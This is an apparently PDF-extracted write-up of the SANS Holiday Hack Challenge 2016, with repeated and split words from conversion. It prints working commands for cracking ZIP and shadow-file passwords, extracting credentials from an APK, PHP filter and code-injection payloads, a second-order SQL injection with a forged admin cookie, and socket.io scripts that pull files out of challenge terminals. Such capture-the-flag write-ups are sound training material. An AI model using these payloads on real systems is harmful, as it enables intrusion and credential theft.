SANS Holiday Hack Challenge 2016 "Santa's Business Card" - writeup Part 1: A Most Curious Business Card
1) What is the secret message in Santa's tweets? bug bounty a total of 348 tweets @ https://twitter.com/santawclaus code listing under Appendix section
2) What is inside the ZIP file distributed by Santa's team? SantaGram_4.2.apk image @ https://www.instagram.com/p/BNpA2kEBF85 direct link @ https://scontent-sin6-1.cdninstagram.com/t51.2885-15/e35/15275692_1825886877683854_211464 858007240704_n.jpg?ig_cache_key=MTM5ODY1MjkwODg0OTA5NDQ1Nw%3D%3D.2
1
archive filename: SantaGram_v4.2.zip on laptop screen URL: www.northpolewonderland.com www.northpolewonderland.com on on Nmap scan report => http://www.northpolewonderland.com/SantaGram_v4.2.zip
$ zip2john SantaGram_v4.2.zip >SantaGram_v4.2.zip.hash && john SantaGram_v4.2.zip.hash && cat john.pot ver 2.0 efh 5455 efh 7875 SantaGram_v4.2.zip->SantaGram_4.2.apk PKZIP Encr: 2b chk, TS_chk, cmplen=1962826, decmplen=2257390, crc=EDE16A54 Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status bugbounty
(SantaGram_v4.2.zip)
1g 0:00:02:00 DONE 3/3 (2017-01-02 14:15) 0.008310g/s 31953Kp/s 31953Kc/s 31953KC/s bunghisc2..bugbudsai Use the "--show" option to display all of the cracked passwords reliably Session completed
2
$pkzip2$1*2*2*0*1df34a*2271ee*ede16a54*0*4b*8*1df34a*ede1*45ec*a9e4d5fbcc d3ed909cfab044ec6e37b82318b565ef029f69c1c1ff17b4847d172f7b15f60c059931939 98054b8af5b2c6c6d619629a69f17554eed977dde48fd9e9863bfd78922be1d9b6e90ed33 0e5b6989a484bfa2878200b1721be9b9580d429e94c6b56cc287f65656453f87c6a4169a6 4a5bc6136f841b9da6e328b532fa77f20be241c758d2589bf77a50a96c8349e76737f695c 9a9af3fb264918ddc4ccdc04e2673c2ae4242ab53c6bff0e98cc9ed9b262a4fbead35a96e f0896345b6474b89f7cd82c47e4e0d3dee5a46e240688f4eb6ba5954856c10f52db84294f 17af606017572f76478489232fe239aaa913dda98dc40919425a55b822e7e7614221f1478 b8554c412a28d1f303e8806f2327306456c7eefd9a0ddc7998fbc33cc9e57d5a644281c01 d0f36b76b5381581d95a98026260b0b8effdb0e92158c5e2d338641c4206963363ba1035a 962a5df60e79c7252045931155eb1b1cac17d9fd1a0c2c84a42db3f7679411d057b2f04cf 00597b5b3eeb631b95cc4e9d9f313d68968fcac8919865f0$SOURCE_HASH$7797c24e0a54 abf3798941e68aa0fcb9:bugbounty zip password: bugbounty Part 2: Awesome Package Konveyance
3) What username and password are embedded in the APK file? username: guest password: busyreindeer78 use jadx use jadx,, or free online service @ http://www.javadecompilers.com/apk com.northpolewonderland.santagram.SplashScreen:
jSONObject.put("username", "guest"); jSONObject.put("password", "busyreindeer78"); 4) What is the name of the audible component (audio file) in the SantaGram APK file? discombobulatedaudio1.mp3 use apktool apktool,, or free online service @ http://www.javadecompilers.com/apk
SantaGram_4.2.apk:/res/raw/discombobulatedaudio1.mp3
3
Part 3: A Fresh-Baked Holiday Pi
5) What is the password for the "cranpi" account on the Cranberry Pi system? yummycookies $ 7za x https://www.northpolewonderland.com/cranbian.img.zip $ fdisk -l cranbian-jessie.img
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x5a7089a1 Device Boot Start End Sectors Size Id Type cranbian-jessie.img1 8192 137215 129024 63M c W95 FAT32 (LBA) cranbian-jessie.img2 137216 2713599 2576384 1.2G 83 Linux $ mkdir img2 && sudo mount cranbian-jessie.img -o
loop,offset=$((512*137216)) img2 $ sudo unshadow img2/etc/passwd img2/etc/shadow >img2-passwd+shadow.txt
cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnid xinanEhahBINm/2YyjFihxg7tgc343b0:1000:1000:,,,:/home/cranpi:/bin/bash $ hashcat64.bin -m1800 -a0 img2-passwd+shadow.txt
[rockyou.txt](http://downloads.skullsecurity.org/passwords/rockyou.txt.bz [rockyou.txt](http://downloads.skullsecurity.org/passwords/rockyou.txt.bz 2) $6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEh ahBINm/2YyjFihxg7tgc343b0:yummycookies 6) How did you open each terminal door and where had the villain imprisoned Santa? ● https://docker2016.holidayhackchallenge.com:60001 ○ ○ ○
HELP ! ./ActivateTrain
4
●
https://docker2016.holidayhackchallenge.com:60002 ○
$ sudo -u itchy /usr/sbin/tcpdump -r /out.pcap -w - 2>/dev/null
out.pcap ○
○
GET /firsthalf.html HTTP/1.1 ■ GET /secondhalf.bin HTTP/1.1 ■ strings -e l secondhalf.bin ■ part2:ttlehelper
santaslittlehelper ●
https://docker2016.holidayhackchallenge.com:60003 ○
/home/elf/.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt: ■
●
https://docker2016.holidayhackchallenge.com:60004 exfiltr trat ate e1 /home/elf/wumpus ○ exfil ○
1
key: open_sesame
chmod 0775 wumpus && gdb -q ./wumpus (gdb) b *main Breakpoint 1 at 0x400d26 (gdb) r Starting program: wumpus (gdb) print kill_wump() *thwock!* *groan* *crash* A horrible roar fills the cave, and you realize, with a smile, that you have slain the evil Wumpus and won the game! You don't want to tarry for long, however, because not only is the Wumpus famous, but the stench of dead Wumpus is also quite well known, a stench plenty enough to slay the mightiest adventurer at a single whiff!! Passphrase: WUMPUS IS MISUNDERSTOOD
code listing under Appendix section 5
●
https://docker2016.holidayhackchallenge.com:60005 ○ wargames script @ https://raw.githubusercontent.com/abs0/wargames/master/wargames.sh ○ ○ ○ ○ ○ ○ ○
Hello. I'm fine. How are you? People sometimes make mistakes. Love to. How about Global Thermonuclear War? Later. Let's play Global Thermonuclear War. 2 Las Vegas LAUNCH INITIATED, HERE'S THE KEY FOR YOUR TROUBLE: LOOK AT THE PRETTY LIGHTS Press Enter To Continue
Part 4: My Gosh... It's Full of Holes
7) For each of these six items, which vulnerabilities did you discover and exploit? 1. The Mobile Mobile Analyt Analytics ics Server Server (via (via credent credentialed ialed login access) access) 2. The The Dun Dunge geon on Game Game 3. The The Deb Debug ug Serv Server er 4. The The Ban Banne nerr Ad Serv Server er 5. The Unca Uncaugh ughtt Except Exception ion Hand Handler ler Server Server 6. The Mobile Mobile Analytics Analytics Server (post authentica authentication) tion) URLs discovered from SantaGram_4.2.apk:/res/values/strings.xml
https://analytics.northpolewonderland.com/rep ort.php?type=launch https://analytics.northpolewonderland.com/repo rt.php?type=usage http://dungeon.northpolewonderland.com/ http://dev.northpolewonderland.com/index .php http://ads.northpolewonderland.com/affiliate/C9E380C 8-2244-41E3-93A3-D6C6700156A5 http://ex.northpolewonderland.com/exception.php
6
1. The Mobile Mobile Analytic Analytics s Server Server (via crede credentiale ntialed d login acces access) s) analytics.northpolewonderland.com ● login @ https://analytics.northpolewonderland.com/login.php ○ user login credentials from Q3 ■ username: guest ■ password: busyreindeer78 discombobulatedaudio2.mp3 @ @ ● discombobulatedaudio2.mp3 https://analytics.northpolewonderland.com/getaudio.php?id=20c216bc-b8b1-11e6-89e1-420 10af00008 2. The The Dun Dunge geon on Game Game dungeon.northpolewonderland.com ● Nmap scan reports port 11111 is open; hosting the online version of the game
$ nmap -sT dungeon.northpolewonderland.com Nmap scan report for dungeon.northpolewonderland.com (35.184.47.139) ... 11111/tcp open vce ...
●
$ nc dungeon.northpolewonderland.com 11111 "Dungeon" ~ Zork I @ https://github.com/devshane/zork in-game debugger GDT, according to http://gunkies.org/wiki/Zork_hints GDT>DT; Entry: 119 or 10242
●
these are the only two entries that differ between the online and offline versions
● ●
#119: Suddenly a sinister, wraithlike figure, cloaked and hooded, appears seeming to float in the air before you. In a low, almost inaudible voice he says, "I welcome you to the ranks of the chosen of Zork. You have persisted through many trials and tests and have overcome them all. One such as yourself is fit to join even the implementers!" He then raises his oaken staff and, chuckling, drifts away like a wisp of smoke, his laughter fading in the distance. When the smoke clears, the phrase "send email to
[email protected]" is all that remains.
#1024: The elf, satisified with the trade says - send email to "
[email protected]" for that which you seek.
2
code listing under Appendix section 7
3. The The Deb Debug ug Ser Serve ver r dev.northpolewonderland.com/index.php ● expected parameters ○ JSON keys in com.northpolewonderland.santagram.EditProfile:
protected void onCreate(Bundle bundle) { ... JSONObject jSONObject = new JSONObject(); jSONObject.put("date", new SimpleDateFormat("yyyyMMddHHmmssZ").format(Calendar.getInstance().getTime ())); jSONObject.put("udid", Secure.getString(getContentResolver(), "android_id")); jSONObject.put("debug", getClass().getCanonicalName() + ", " + getClass().getSimpleName()); jSONObject.put("freemem", Runtime.getRuntime().totalMemory() Runtime.getRuntime().freeMemory()); ...
8
●
tamper with APK, via apktool
1. apktool apktool decode decode SantaGram_4. SantaGram_4.2.apk 2.apk 2. SantaGram_4.2.apk/res/values/string.xml ■ false ...to... ■ true 3. apktool apktool build SantaGram_4. SantaGram_4.2 2 4. keytool keytool -genkey -v -keystore -keystore key.keystore key.keystore -alias -alias alias -keyalg RSA -keysize 4096 -validity 10240 5. jarsigner jarsigner -verbose -verbose -sigalg SHA1withRSA SHA1withRSA -digestal -digestalg g SHA1 -keystore key.keystore SantaGram_4.2/dist/SantaGram_4.2.apk alias 6. zipalign zipalign -v 4 SantaGram_4. SantaGram_4.2/dist 2/dist/Santa /SantaGram_4 Gram_4.2.apk .2.apk SantaGram_4.2/dist/SantaGram_4.2-aligned.apk 7. adb install -r -d SantaGram_4. SantaGram_4.2/dist 2/dist/Sant /SantaGram_ aGram_4.2-al 4.2-aligned. igned.apk apk ● ●
●
sniff traffic - Burp Suite @ https://portswigger.net/burp Android mobile phone emulator - Genymotion @ https://www.genymotion.com ● v4.3 (API level 18) + ARM translation patch v1.1
$ curl -X POST -H "Content-Type: application/json" -sL "http://dev.northpolewonderland.com/index.php" -d "{\"date\":null,\"udid\":null,\"debug\":\"com.northpolewonderland.san tagram.EditProfile, EditProfile\",\"freemem\":-1 ,\"verbose\":true}" | jq -rc .
{"date":"20161225000000","date.len":14,"status":"OK","status.len":"2","fi lename":"debug-20161225000000-0.txt","filename.len":26,"request":{"date": null,"udid":null,"debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":-1,"verbose":true},"files":["debug-201612242359590.mp3","debug-20161225000000-0.txt","index.php"]} ●
$ wget http://dev.northpolewonderland.com/debug-20161224235959-0.mp3 http://dev.northpolewonderland.com/debug-20161224235959-0.mp3
9
4. The The Ban Banne nerr Ad Ad Ser Serve ver r ads.northpolewonderland.com ● Mining Meteor @ https://pen-testing.sans.org/blog/2016/12/06/mining-meteor ○ MeteorMiner Tampermonkey script @ https://github.com/nidem/MeteorMiner ● either on webpage @ http://ads.northpolewonderland.com or http://ads.northpolewonderland.com/admin/quotes ○ in web JS console:
console.log(JSON.stringify(HomeQuotes.find().fetch())) [{"_id":"drsCoXaLaitrx2xJP","index":0,"quote":"Never Tired","hidden":false},{"_id":"ncN8EozkRGuq3hmd6","index":1,"q uote":"Never the Same!","hidden":false},{"_id":"qLqMmQFCurmaptYPj","index":2,"q uote":"Making Ads Great Again!","hidden":false},{"_id":"zC3qjywazw6vTorZQ","index":3," quote":"Is anyone actually reading this?","hidden":false},{"_id":"zPR5TpxB5mcAH3pYk","index":4,"q uote":"Just Ad It!","hidden":true,"audio":"/ofdAR4UYRaeNxMg/discombobulatedau dio5.mp3"}] ●
$ wget http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaud http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/ discombobulatedaud io5.mp3
10
5. The Uncaught Uncaught Exception Exception Handler Handler Server Server ex.northpolewonderland.com/exception.php ●
$ curl -X POST -H "Content-Type: application/json" -sL http://ex.northpolewonderland.com/exception.php -d "{\"operation\":\"ReadCrashDump\",\"data\":{\"crashdump\":\"php://fil ter/convert.base64-encode/resource=exception\"}}" | base64 -d ... # Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3
... ●
$ MSG="');echo base64_encode(file_get_contents(str_replace('\\\','','../discombobula base64_encode(file_get_contents(str_replace('\\\','','../ discombobula ted-audio-6-XyzE3N9YqKNH.mp3')));print('" ted-audio-6-XyzE3N9YqKNH.mp3 ')));print('" && cid=$(curl -X POST -H "Content-Type: application/json" -sL "http://ex.northpolewonderland.com/exception.php" -d "{\"operation\":\"WriteCrashDump\",\"data\":{\"message\":\"${MSG}\"}} " | jq -r .crashdump | cut -d- -f2 | cut -d. -f1) && curl -X POST -H "Content-Type: application/json" -sL "http://ex.northpolewonderland.com/exception.php" -d "{\"operation\":\"ReadCrashDump\",\"data\":{\"crashdump\":\"crashdump -${cid}\"}}" | jq -r .message | base64 -d >discombobulated-audio-6-XyzE3N9YqKNH.mp3
11
6. The Mobile Mobile Analytics Analytics Serve Serverr (post (post authenti authenticatio cation) n) analytics.northpolewonderland.com ● Nmap scan reports exposed Git repository @ https://analytics.northpolewonderland.com/.git
$ nmap -A analytics.northpolewonderland.com Nmap scan report for analytics.northpolewonderland.com (104.198.252.157) ... 443/tcp open ssl/http nginx 1.6.2 | http-git: | 104.198.252.157:443/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: Finishing touches (style, css, etc) ... ○
GitTools @ https://github.com/internetwache/GitTools
○
$ git init && /GitTools/Dumper/gitdumper.sh https://analytics.northpolewonderland.com/.git/ .
●
exploit
●
second-order SQL injection ○ mass assignment craft administrator AUTH cookie ○
12
●
generate a query report UUID via /query.php / query.php
REPORT_ID=$(curl -X POST -H "Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384 f6e7bca04d86e573b965cf9c6549b9494c6063a50b63b71976884152" -ksL "https://analytics.northpolewonderland.com/query.php" -d "date=2016-12-24&type=launch&field%5B%5D=udid&modifier%5B%5D=eq&value%5B% 5D=&save=on" | perl -ne 'print "$1" if m/view.php\?id=([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{ 12})/') ●
craft SQL query via /edit.php
urlencode () {echo $(node -p "encodeURIComponent('$(sed "s/'/\\\'/g" "$@")')")} curl -H "Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384 f6e7bca04d86e573b965cf9c6549b9494c6063a50b63b71976884152" -ksL "https://analytics.northpolewonderland.com/edit.php?id=${REPORT_ID}&name= &description=&query=$(echo 'SELECT `id`,`username`, `filename`, TO_BASE64(mp3) FROM `audio` WHERE `username`='\''administrator'\''' | urlencode)" | w3m -dump -T text/html ●
execute payload via /view.php
echo "https://analytics.northpolewonderland.com/view.php?id=${REPORT_ID}"
id
username
filename
20c216bc-b8b1-11e6-89e1-42010af00008
guest
discombobulatedaudio2.mp3
3746d987-b8b1-11e6-89e1-42010af00008
administrator
discombobulatedaudio7.mp3
aside
uid
username
password
0
administrator
KeepWatchingTheSkies
1
guest
busyreindeer78
13
8) What are the names of the audio files you discovered from each system above? There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.) 1. dis discom combob bobula ulated tedaud audio1 io1.mp .mp3 3 2. dis discom combob bobula ulated tedaud audio2 io2.mp .mp3 3 3. dis discom combob bobula ulated tedaud audio3 io3.mp .mp3 3 4. deb debugug-201 201612 612242 2423595 35959-0 9-0.mp .mp3 3 5. dis discom combob bobula ulated tedaud audio5 io5.mp .mp3 3 6. dis discom combob bobula ulated ted-au -audio dio-6-6-Xyz XyzE3N E3N9YqK 9YqKNH. NH.mp3 mp3 7. dis discom combob bobula ulated tedaud audio7 io7.mp .mp3 3 Part 5: Discombobulated Audio
9) Who is the villain behind the nefarious plot? Dr. Who fix audio - Audacity > Effect > Change Tempo... Percent Change: 1093.8 quote - "Father Christmas, Santa Claus. Or, as I've always known him, Jeff." @ http://www.imdb.com/title/tt1672218/quotes?item=qt1395415 original audio https://www.youtube.com/watch?v=sedD40sEb8M&t=1m18s from "Doctor Who - A Christmas Carol (2010)" 10) Why had the villain abducted Santa? - The answer: Do I look like I'm in my right mind? I'm a madman with a box. - I have looked into the time vortex and I have seen a universe in which the Star Wars Holiday Special was NEVER released. In that universe, 1978 came and went as normal. No one had to endure the misery of watching that abominable blight. People were happy there. It's a better life, I tell you, a better world than the scarred one we endure here. - Give me a world like that. Just once. - So I did what I had to do. I knew that Santa's powerful North Pole Wonderland Magick could prevent the Star Wars Special from being released, if I could leverage that magick with my own abilities back in 1978. But Jeff refused to come with me, insisting on the mad idea that it is better to maintain the integrity of the universe's timeline. So I had no choice - I had to kidnap him. ...
14
Appendix Code listing - t-santawclaus.js
#!/usr/bin/env python #-*- coding: utf-8 -*import import import import import
sys codecs json datetime tweepy
sys.stdout = codecs.getwriter("utf-8")(sys.stdout) sys.stderr = codecs.getwriter("utf-8")(sys.stderr) if __name__ == "__main__": consumer_key = "" consumer_secret = "" access_tok = "" access_tok_secret = "" auth = tweepy.OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_tok, access_tok_secret) api = tweepy.API(auth) screen_name = "santawclaus" pg = 1 while True: tweets = api.user_timeline(screen_name=screen_name, count=200, page=pg) if len(tweets) == 0: break for tweet in tweets: print "%s\t%d\t%s"%(tweet.id_str, (tweet.created_at-datetime.datetime(1970,1,1)).total_seconds(), tweet.text) pg += 1
Code listing - docker2016-exfil.js
#!/usr/bin/env node "use strict"; const fs = require("fs-extra"); const path = require("path"); //
[email protected] const io = require("socket.io-client"); 15
const zlib = require("zlib"); let buf="", port, filepath; // // // //
port = 60001; // conductor filepath = "$HOME/Train_Console"; filepath = "$HOME/TrainHelper.txt"; filepath = "$HOME/ActivateTrain";
// port = 60002; // scratchy; itchy // port = 60003; // port = 60004; // elf // filepath = "$HOME/wumpus"; port = 60005; if (filepath) { const filedir = path.dirname(filepath); const filename = path.basename(filepath); const basename = path.basename(filename, path.extname(filename)); } if (!port) {process.exit(1);} const loc = `https://docker2016.holidayhackchallenge.com:${port}`; const socket = io(loc, {path:"/wetty/socket.io",query:"param=undefined"}); socket.on("connect", ()=>{ let cmds = []; if (port === 60001) { cmds = [ `HELP\r`, `!\r`, `echo -n "#######" && cat -- ${filepath}|gzip|base64 -w0 && echo -n "#######"\r` ]; } else if (port === 60002) { cmds = [ [ `echo -n "#######"`, `sudo -u itchy /usr/sbin/tcpdump -r /out.pcap -w 2>/dev/null|gzip|base64 -w0`, `echo -n "#######"` ].join("&&") + `\r` 16
]; } else if (port === 60003) { socket.emit("input",`egrep -r . $HOME/.doormat\r`); cmds = [ [ `echo -n "#######"`, `find $HOME/.doormat -type f -exec cat {} \\;|gzip|base64 -w0`, `echo -n "#######"` ].join("&&") + `\r` ]; // /home/elf/.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt: // key: open_sesame } else if (port === 60004) { cmds = [ `echo -n "#######" && cat -- ${filepath}|gzip|base64 -w0 && echo -n "#######"\r` ]; } else if (port === 60005) { } else {process.exit(1);} cmds.forEach(cmd=>socket.emit("input",cmd)); }); let wg_step = 0; // port===60005 const idx_all=(arr,val)=>{var indexes=[],i=-1;while((i=arr.indexOf(val,i+1))!=-1){indexes.push(i)}retur n indexes} socket.on("output", data=>{ buf += data.replace(/(\r\n?)/g,"").trim(); if (port === 60005) { const output = buf .replace(/\u0007{2}/g," ") // whitespace .replace(/\u0007/g,"") .replace(/[^\x20-\x7e]/g,"") // non-ascii .replace(/^([^\[]*\[3;J\[H\[2J)/,"") // pre-amble .trim(); console.log(wg_step, output); if (wg_step===0 && output.endsWith("GREETINGS PROFESSOR FALKEN.")) { socket.emit("input", "Hello.\r"); wg_step++; buf=""; } else if (wg_step===1 && output.endsWith("HOW ARE YOU FEELING TODAY?")) { 17
socket.emit("input", "I'm fine. How are you?\r"); wg_step++; buf=""; } else if (wg_step===2 && output.endsWith("EXCELLENT, IT\'S BEEN A LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON 6/23/73?")) { socket.emit("input", "People sometimes make mistakes.\r"); wg_step++; buf=""; } else if (wg_step===3 && output.endsWith("YES THEY DO. SHALL WE PLAY A GAME?")) { socket.emit("input", "Love to. How about Global Thermonuclear War?\r"); wg_step++; buf=""; } else if (wg_step===4 && output.endsWith("WOULDN'T YOU PREFER A GOOD GAME OF CHESS?")) { socket.emit("input", "Later. Let's play Global Thermonuclear War.\r"); wg_step++; buf=""; } else if (wg_step===5 && output.endsWith("PLEASE CHOOSE ONE:")) { socket.emit("input", "2\r"); wg_step++; buf=""; } else if (wg_step===6 && output.endsWith("PLEASE LIST PRIMARY TARGETS BY CITY AND/OR COUNTRY NAME:")) { socket.emit("input", "Las Vegas\r"); wg_step++; buf=""; } else if (wg_step===7 && output.endsWith("Press Enter To Continue")) {process.exit();} } else { const patt = /#{7}([A-Za-z\d+/=]+)#{7}/; if (patt.test(buf)) { const m = buf.match(patt); if (m) { const bin = zlib.gunzipSync(new Buffer(m[1],"base64")); console.log(bin.toString("hex")); // xxd -r -p // fs.writeFileSync("output", bin); } process.exit(); } } }); socket.on("connect_error", msg=>{console.error("conn_err:",msg);}); socket.on("connect_timeout", msg=>{console.error("conn_timeout:",msg);}); socket.on("disconnect", ()=>{console.error("conn_closed");}); 18
Code listing - docker2016-exfil.py
#!/usr/bin/env python #-*- coding: utf-8 -*import re import sys import base64 import zlib import binascii from socketIO_client import SocketIO port, filepath = 60004, "$HOME/wumpus" loc = "https://docker2016.holidayhackchallenge.com/wetty/socket.io" socketIO = SocketIO(loc, port, params={"param":"undefined"}, verify=False) def on_connect(): socketIO.emit("input", "echo -n \"#######\" && cat -- %s|gzip|base64 -w0 && echo -n \"#######\"\r"%filepath) buf = "" def on_output(args): global buf buf += args m = re.search(r"#{7}([A-Za-z\d+/=]+)#{7}", buf) if m: data = m.group(1) data = base64.b64decode(data) data = zlib.decompress(data, zlib.MAX_WBITS|16) print binascii.hexlify(data) sys.exit() if __name__ == "__main__": socketIO.on("connect", on_connect) socketIO.on("output", on_output) socketIO.wait()
19
Locations of the 20 NetWars coins
20
21
22
23
24
25
26
27
28
Table 1 - 20 NetWars coins
No
Image
X
Y
Year
01
NW_COIN
34
228
1978
02
NW_COIN
109
295
1978
03
NW_COIN
157
102
1978
04
NW_COIN
185
145
1978
05
NW_COIN
214
59
1978 29
06
NW_COIN_HALF
215
275
1978
07
NW_COIN_ARMOR
266
86
1978
08
NW_COIN_ROOF
86
191
2016
09
NW_COIN
117
252
2016
10
NW_COIN
142
83
2016
11
NW_COIN_SMALL_TREEHOUSE
161
184
2016
12
NW_COIN
167
142
2016
13
NW_COIN_COUCH
167
221
2016
14
NW_COIN_RACK
175
228
2016
15
NW_COIN
187
61
2016
16
NW_COIN_HALF
208
238
2016
17
NW_COIN_TROUGH
232
229
2016
18
NW_COIN
237
32
2016
19
NW_COIN
243
152
2016
20
NW_COIN_CRATE
278
170
2016
Code listing - screenshot.js
f=(x,y)=>{app.game.makeCharacterTeleportTo(app.game.player,x,y);node=docu ment.getElementById("notifications");while(node.firstChild){node.removeCh ild(node.firstChild);}app.game.cursorVisible=false;Object.entries(app.gam e.entities).filter(kv=>kv[1].kind==="PLAYER"&&kv[1].id!==app.game.playerI d).forEach(kv=>{kv[1].gridX=0;kv[1].gridY=0;});};app.game.player.year=197 8/*2016*/;x=,y=;f(x,y); Code listing - replace-nw-coin-sprite-w-pi-board.js replace-nw-coin-sprite-w-pi-board.js
Object.keys(Types.Items).filter(k=>k.startsWith("NW_COIN")).forEach(k=>{[ "sprite","json"].forEach(kk=>{Types.Items[k][kk]=Types.Items.PI_BOARD[kk] ;});});
30
Code listing - dungeon.northpolewonderland.com-DT-dmp.py dungeon.northpolewonderland.com-DT-dmp.py
#!/usr/bin/env python #-*- coding: utf-8 -*import re import sys import string import base64 import logging # sudo apt-get -y install python-pip python-openssl libssl-dev && sudo pip install -U pwntools from pwn import * context.log_level = logging.CRITICAL delim_gdt = "GDT>" def connect(): # r = process("./dungeon") r = remote("dungeon.northpolewonderland.com", 11111) r.recvuntil(">") r.sendline("GDT") r.recvuntil(delim_gdt) return r if __name__ == "__main__": r = connect() r.sendline("DL") m = re.search(r"M=(\d+)", r.recvuntil(delim_gdt)) if not m: sys.exit(1) lim = int(m.group(1)) for i in xrange(lim,-1,-1): try: r.sendline("DT") r.recvuntil("Entry:") r.sendline(str(i)) msg = r.recvuntil(delim_gdt).strip() if msg.endswith(delim_gdt): msg = msg[:-len(delim_gdt)].strip() if msg and all(c in string.printable for c in msg): print "[%d]: %s"%(i,msg) except: r.close() r = connect()
31